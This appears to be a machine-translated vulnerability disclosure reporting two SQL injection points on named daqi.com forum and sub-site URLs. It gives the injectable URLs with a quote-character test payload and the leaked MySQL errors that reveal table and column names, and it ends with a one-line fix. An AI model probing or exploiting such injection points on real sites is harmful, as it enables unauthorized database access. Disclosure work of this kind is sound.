Daqi web forum and excellent experience sub-site SQL Injection

There are two SQL injections
They are:
Http://bbs.daqi.com/cgi-bin/bbs/author.cgi? Author = Test'
Http://try.daqi.com/cgi-bin/experience/exp_active_email? Key = test & uid = Test'
 
 
Xmysql: query () error: You have an error in your SQL syntax. check the manual that corresponds to your MySQL server version for the right syntax to use near 'test' 'limit 1' at line 1-select jparticle. id_jparticle, jparticle. id_jpdir, jparticle. id_article, jparticle. title, jparticle. url, jparticle. id_bbs, jparticle. bbsname, jparticle. postdate, jparticle. click, jparticle. replycount, jparticle. dirno, jparticle. author, jparticle. level, jparticle. weight, jparticle. weight_score, jparticle. state, jparticle. notelevel, jparticle. id_site, jparticle. sitename, jparticle. msgno from jparticle where author = 'test' 'limit 1 www.2cto.com
 
 
Xmysql: query () error: Unknown column 'test' in 'where clause'-select count (*) from exp_user where id = test and active_state = 0 and v_key = 'test'
Proof of vulnerability:

Http://bbs.daqi.com/cgi-bin/bbs/author.cgi? Author = Test'
Http://try.daqi.com/cgi-bin/experience/exp_active_email? Key = test & uid = Test'
Solution:

Filter parameters

Author zhk